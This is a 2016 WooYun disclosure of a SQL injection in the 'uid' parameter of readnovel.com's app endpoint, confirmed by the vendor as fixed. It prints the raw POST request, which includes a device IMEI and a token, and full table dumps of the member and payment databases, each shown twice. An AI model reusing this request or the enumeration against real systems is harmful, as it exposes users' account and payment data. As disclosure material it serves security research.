当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0196808

漏洞标题：APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

相关厂商：readnovel.com

漏洞作者： 头晕脑壳疼

提交时间：2016-04-17 21:19

修复时间：2016-06-01 22:00

公开时间：2016-06-01 22:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-17： 细节已通知厂商并且等待厂商处理中
2016-04-17： 厂商已经确认，细节仅向厂商公开
2016-04-27： 细节向核心白帽子及相关领域专家公开
2016-05-07： 细节向普通白帽子公开
2016-05-17： 细节向实习白帽子公开
2016-06-01： 细节向公众公开

简要描述：

菜鸟找个洞不容易，有木有小礼品安慰下幼小的心灵

详细说明：

POST /web/user.php?a=start HTTP/1.1
Content-Length: 259
Content-Type: application/x-www-form-urlencoded
Host: opendata.readnovel.com
Connection: close
Expect: 100-continue
Accept-Encoding: gzip
uid=-1&screenpix=576981&model=GT-P5210&op=CMCC&articleid=+&versionname=4.3.0&active_code=20160415210654972601007SnS&system_release=4.2.2&imei=133524480508463&versioncode=145&srcid=test_only&ct=android&mac_address=&v=145&token=18bdacbf6c&pt=client&pix=576981


参数uid存在注入

1.png


2.png


DBA权限

3.png


Database: mobile
+----------------------------------+---------+
| Table                            | Entries |
+----------------------------------+---------+
| mb_app_start_log                 | 150461124 |
| mb_app_old_start_log             | 122048467 |
| mb_check_user_request_log        | 25854070 |
| mb_app_installed_info            | 19041406 |
| mb_app_actived_info              | 16125949 |
| mb_client_start_info             | 12811011 |
| mb_register_log                  | 6939841 |
| mb_app_ios_start_log             | 4108988 |
| mb_app_new_reg_info              | 3890537 |
| mb_app_physical_info_with_userid | 2989329 |
| mb_client_version_update_info    | 2511576 |
| mb_client_user_info              | 1938113 |
| mb_client_activate_info          | 1031769 |
| mb_client_regist_info            | 214775  |
| mb_app_opinion                   | 12029   |
| mb_app_heji_activity_mobile_info | 4100    |
| mb_youmi_socre_log               | 3       |
+----------------------------------+---------+
Database: pay
+----------------------------------------------------+---------+
| Table                                              | Entries |
+----------------------------------------------------+---------+
| pay_expend                                         | 260995776 |
| pay_income                                         | 199530613 |
| pay_order_xsb                                      | 57812761 |
| pay_expend_xsb                                     | 28683078 |
| pay_order_log                                      | 19649659 |
| pay_order                                          | 14709813 |
| pay_cooperation_expend                             | 8941246 |
| pay_user_month_expend                              | 4866019 |
| error_log                                          | 4481903 |
| pay_user                                           | 4461168 |
| pay_income_stat                                    | 4266075 |
| pay_dianbo_order                                   | 3809913 |
| pay_apk_dianbo_user_receive                        | 3010415 |
| pay_apk_dianbo_sure                                | 2809589 |
| pay_user_xsb                                       | 2598395 |
| pay_order_mobile                                   | 1872301 |
| pay_user_first_recharge                            | 1699918 |
| pay_user_recharge_info                             | 1676615 |
| pay_baoyue_order_info                              | 1585460 |
| pay_recharge_wap_no_ad_info                        | 1575265 |
| pay_order_sms                                      | 1571787 |
| pay_user_first_expend                              | 1402451 |
| pay_bind_user_mobile                               | 1069356 |
| pay_wl_income                                      | 1003416 |
| pay_sohu_mobile_log                                | 982244  |
| pay_baoyue_callback_info                           | 949125  |
| pay_360_recharge_order_log                         | 806716  |
| pay_tmp_special_user                               | 761072  |
| pay_sohu_baoyue_account_bill                       | 734456  |
| pay_android_score_recharge_order_log               | 562154  |
| pay_sohu_mobile_msg                                | 526145  |
| pay_mobile_status                                  | 451151  |
| pay_alipay_order                                   | 440972  |
| pay_mobile_month                                   | 439411  |
| pay_umpay_baoyue_order                             | 388195  |
| pay_baoyue_mobile_log                              | 354770  |
| pay_other_income_stat                              | 352700  |
| pay_app_send_ydb                                   | 334278  |
| pay_baoyue_bind_mobile                             | 293173  |
| pay_unipay_order                                   | 233476  |
| pay_shenzhoufu_card                                | 233306  |
| pay_order_game                                     | 227495  |
| pay_360_recharge_sure_order_log                    | 204830  |
| pay_baoyue_mobile_msg                              | 196179  |
| pay_order_result                                   | 186199  |
| pay_baoyue_mobile_month                            | 165382  |
| pay_wl_payment_term_remain                         | 162059  |
| admin_log                                          | 126301  |
| pay_wechat_order                                   | 121232  |
| pay_wl_final_paid                                  | 119745  |
| pay_mission_expend                                 | 113881  |
| pay_umpay_baoyue_mobile_month                      | 113531  |
| pay_umpay_baoyue_mobile_month_quit_log             | 103726  |
| pay_wl_paid                                        | 100950  |
| pay_ios_recharge_order_log                         | 87749   |
| pay_fhs_dianbo_order                               | 84988   |
| pay_user_send_expend                               | 84684   |
| money_request_log                                  | 73094   |
| pay_ios_comment_send_ydb_log                       | 61629   |
| pay_income_tmp2                                    | 53710   |
| pay_cty_send_push                                  | 49614   |
| pay_user_upgrade                                   | 45004   |
| pay_baoyue_month                                   | 42241   |
| pay_baoyue_user_log                                | 39472   |
| pay_wl_income_cost                                 | 36905   |
| pay_money_request                                  | 36893   |
| pay_virtual_card                                   | 30100   |
| pay_you_yi_fu_op_lost_order                        | 28814   |
| pay_wireless_income                                | 28707   |
| pay_baoyue_user_info                               | 24820   |
| pay_order_month                                    | 23413   |
| pay_card                                           | 21015   |
| pay_wl_auhtor_paid_income                          | 17904   |
| pay_user_expend_send_gold                          | 12011   |
| activity_tianle                                    | 10000   |
| pay_order_remittan                                 | 8881    |
| pay_income_trigger_tmp                             | 8030    |
| pay_appstore_paid_sure                             | 7945    |
| pay_order_buy                                      | 7926    |
| pay_user_baoyue                                    | 7362    |
| pay_baoyue_auhtor_paid_income                      | 4005    |
| pay_order_buy_fence                                | 3727    |
| pay_expend_stat                                    | 2572    |
| pay_youmi                                          | 2221    |
| pay_user_coupons                                   | 2211    |
| pay_wireless_paid                                  | 1768    |
| pay_voiced_book_expend                             | 1751    |
| pay_tmp_shouji_vipsub_top                          | 1000    |
| pay_ios_score_virtual_card                         | 988     |
| pay_alipay_info                                    | 750     |
| pay_deduction                                      | 424     |
| pay_article_sell                                   | 193     |
| pay_apk_send_ydb                                   | 177     |
| pay_cty_receive_msg                                | 138     |
| pay_recharge_order_sure_log                        | 81      |
| pay_mobile_game_login_info                         | 78      |
| pay_app_consume_log                                | 68      |
| pay_tmp_article_sub                                | 50      |
| pay_channel_bulletin                               | 43      |
| pay_apk_authcode                                   | 40      |
| pay_user_settinfo                                  | 36      |
| pay_apk_authcode_get_ydb                           | 35      |
| pay_wl_remain_adjust                               | 35      |
| pay_wl_payment_term                                | 31      |
| pay_app_order                                      | 24      |
| pay_dianbo_user_receive                            | 24      |
| pay_dianbo_user_send                               | 24      |
| pay_admins                                         | 15      |
| pay_360_order                                      | 13      |
| pay_baoyue_command_status                          | 10      |
| manhua_pay_income                                  | 8       |
| pay_android_single_book_update_client_send_ydb_log | 5       |
| pay_ios_score_recharge_order_log                   | 3       |
+----------------------------------------------------+---------+

漏洞证明：

POST /web/user.php?a=start HTTP/1.1
Content-Length: 259
Content-Type: application/x-www-form-urlencoded
Host: opendata.readnovel.com
Connection: close
Expect: 100-continue
Accept-Encoding: gzip
uid=-1&screenpix=576981&model=GT-P5210&op=CMCC&articleid=+&versionname=4.3.0&active_code=20160415210654972601007SnS&system_release=4.2.2&imei=133524480508463&versioncode=145&srcid=test_only&ct=android&mac_address=&v=145&token=18bdacbf6c&pt=client&pix=576981


参数uid存在注入

1.png


2.png


DBA权限

3.png


Database: mobile
+----------------------------------+---------+
| Table                            | Entries |
+----------------------------------+---------+
| mb_app_start_log                 | 150461124 |
| mb_app_old_start_log             | 122048467 |
| mb_check_user_request_log        | 25854070 |
| mb_app_installed_info            | 19041406 |
| mb_app_actived_info              | 16125949 |
| mb_client_start_info             | 12811011 |
| mb_register_log                  | 6939841 |
| mb_app_ios_start_log             | 4108988 |
| mb_app_new_reg_info              | 3890537 |
| mb_app_physical_info_with_userid | 2989329 |
| mb_client_version_update_info    | 2511576 |
| mb_client_user_info              | 1938113 |
| mb_client_activate_info          | 1031769 |
| mb_client_regist_info            | 214775  |
| mb_app_opinion                   | 12029   |
| mb_app_heji_activity_mobile_info | 4100    |
| mb_youmi_socre_log               | 3       |
+----------------------------------+---------+
Database: pay
+----------------------------------------------------+---------+
| Table                                              | Entries |
+----------------------------------------------------+---------+
| pay_expend                                         | 260995776 |
| pay_income                                         | 199530613 |
| pay_order_xsb                                      | 57812761 |
| pay_expend_xsb                                     | 28683078 |
| pay_order_log                                      | 19649659 |
| pay_order                                          | 14709813 |
| pay_cooperation_expend                             | 8941246 |
| pay_user_month_expend                              | 4866019 |
| error_log                                          | 4481903 |
| pay_user                                           | 4461168 |
| pay_income_stat                                    | 4266075 |
| pay_dianbo_order                                   | 3809913 |
| pay_apk_dianbo_user_receive                        | 3010415 |
| pay_apk_dianbo_sure                                | 2809589 |
| pay_user_xsb                                       | 2598395 |
| pay_order_mobile                                   | 1872301 |
| pay_user_first_recharge                            | 1699918 |
| pay_user_recharge_info                             | 1676615 |
| pay_baoyue_order_info                              | 1585460 |
| pay_recharge_wap_no_ad_info                        | 1575265 |
| pay_order_sms                                      | 1571787 |
| pay_user_first_expend                              | 1402451 |
| pay_bind_user_mobile                               | 1069356 |
| pay_wl_income                                      | 1003416 |
| pay_sohu_mobile_log                                | 982244  |
| pay_baoyue_callback_info                           | 949125  |
| pay_360_recharge_order_log                         | 806716  |
| pay_tmp_special_user                               | 761072  |
| pay_sohu_baoyue_account_bill                       | 734456  |
| pay_android_score_recharge_order_log               | 562154  |
| pay_sohu_mobile_msg                                | 526145  |
| pay_mobile_status                                  | 451151  |
| pay_alipay_order                                   | 440972  |
| pay_mobile_month                                   | 439411  |
| pay_umpay_baoyue_order                             | 388195  |
| pay_baoyue_mobile_log                              | 354770  |
| pay_other_income_stat                              | 352700  |
| pay_app_send_ydb                                   | 334278  |
| pay_baoyue_bind_mobile                             | 293173  |
| pay_unipay_order                                   | 233476  |
| pay_shenzhoufu_card                                | 233306  |
| pay_order_game                                     | 227495  |
| pay_360_recharge_sure_order_log                    | 204830  |
| pay_baoyue_mobile_msg                              | 196179  |
| pay_order_result                                   | 186199  |
| pay_baoyue_mobile_month                            | 165382  |
| pay_wl_payment_term_remain                         | 162059  |
| admin_log                                          | 126301  |
| pay_wechat_order                                   | 121232  |
| pay_wl_final_paid                                  | 119745  |
| pay_mission_expend                                 | 113881  |
| pay_umpay_baoyue_mobile_month                      | 113531  |
| pay_umpay_baoyue_mobile_month_quit_log             | 103726  |
| pay_wl_paid                                        | 100950  |
| pay_ios_recharge_order_log                         | 87749   |
| pay_fhs_dianbo_order                               | 84988   |
| pay_user_send_expend                               | 84684   |
| money_request_log                                  | 73094   |
| pay_ios_comment_send_ydb_log                       | 61629   |
| pay_income_tmp2                                    | 53710   |
| pay_cty_send_push                                  | 49614   |
| pay_user_upgrade                                   | 45004   |
| pay_baoyue_month                                   | 42241   |
| pay_baoyue_user_log                                | 39472   |
| pay_wl_income_cost                                 | 36905   |
| pay_money_request                                  | 36893   |
| pay_virtual_card                                   | 30100   |
| pay_you_yi_fu_op_lost_order                        | 28814   |
| pay_wireless_income                                | 28707   |
| pay_baoyue_user_info                               | 24820   |
| pay_order_month                                    | 23413   |
| pay_card                                           | 21015   |
| pay_wl_auhtor_paid_income                          | 17904   |
| pay_user_expend_send_gold                          | 12011   |
| activity_tianle                                    | 10000   |
| pay_order_remittan                                 | 8881    |
| pay_income_trigger_tmp                             | 8030    |
| pay_appstore_paid_sure                             | 7945    |
| pay_order_buy                                      | 7926    |
| pay_user_baoyue                                    | 7362    |
| pay_baoyue_auhtor_paid_income                      | 4005    |
| pay_order_buy_fence                                | 3727    |
| pay_expend_stat                                    | 2572    |
| pay_youmi                                          | 2221    |
| pay_user_coupons                                   | 2211    |
| pay_wireless_paid                                  | 1768    |
| pay_voiced_book_expend                             | 1751    |
| pay_tmp_shouji_vipsub_top                          | 1000    |
| pay_ios_score_virtual_card                         | 988     |
| pay_alipay_info                                    | 750     |
| pay_deduction                                      | 424     |
| pay_article_sell                                   | 193     |
| pay_apk_send_ydb                                   | 177     |
| pay_cty_receive_msg                                | 138     |
| pay_recharge_order_sure_log                        | 81      |
| pay_mobile_game_login_info                         | 78      |
| pay_app_consume_log                                | 68      |
| pay_tmp_article_sub                                | 50      |
| pay_channel_bulletin                               | 43      |
| pay_apk_authcode                                   | 40      |
| pay_user_settinfo                                  | 36      |
| pay_apk_authcode_get_ydb                           | 35      |
| pay_wl_remain_adjust                               | 35      |
| pay_wl_payment_term                                | 31      |
| pay_app_order                                      | 24      |
| pay_dianbo_user_receive                            | 24      |
| pay_dianbo_user_send                               | 24      |
| pay_admins                                         | 15      |
| pay_360_order                                      | 13      |
| pay_baoyue_command_status                          | 10      |
| manhua_pay_income                                  | 8       |
| pay_android_single_book_update_client_send_ydb_log | 5       |
| pay_ios_score_recharge_order_log                   | 3       |
+----------------------------------------------------+---------+


修复方案：

版权声明：转载请注明来源 头晕脑壳疼@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2016-04-17 21:52

厂商回复：

谢谢~ 漏洞已于昨天修复。想要礼物，请发邮件到 索取哦~

最新状态：

暂无

漏洞评价：

评价

  1. 2016-04-17 23:38 | Freebug ( 普通白帽子 | Rank:106 漏洞数:39 | 流氓是一种高尚的职业！)

    坐等公开，学习新姿势。

  2. 2016-04-18 09:45 | 头晕脑壳疼 ( 普通白帽子 | Rank:772 漏洞数:146 )

    ·小说阅读网 可否直接所要下联系方式 ？

  3. 2016-04-18 09:46 | 头晕脑壳疼 ( 普通白帽子 | Rank:772 漏洞数:146 )

    @小说阅读网 可否直接索要下联系方式？

  4. 2016-04-18 10:01 | Freebug ( 普通白帽子 | Rank:106 漏洞数:39 | 流氓是一种高尚的职业！)

    @头晕脑壳疼 大牛求交流

  5. 2016-04-18 10:36 | 头晕脑壳疼 ( 普通白帽子 | Rank:772 漏洞数:146 )

    @Freebug 没啥技术含量！普通的注入

  6. 2016-04-18 13:58 | 小说阅读网(乌云厂商)

    @头晕脑壳疼 security#readnovel.com

  7. 2016-04-20 13:51 | Freebug ( 普通白帽子 | Rank:106 漏洞数:39 | 流氓是一种高尚的职业！)

    @头晕脑壳疼 好吧，大牛说的太轻松了，尔等小菜无法理解。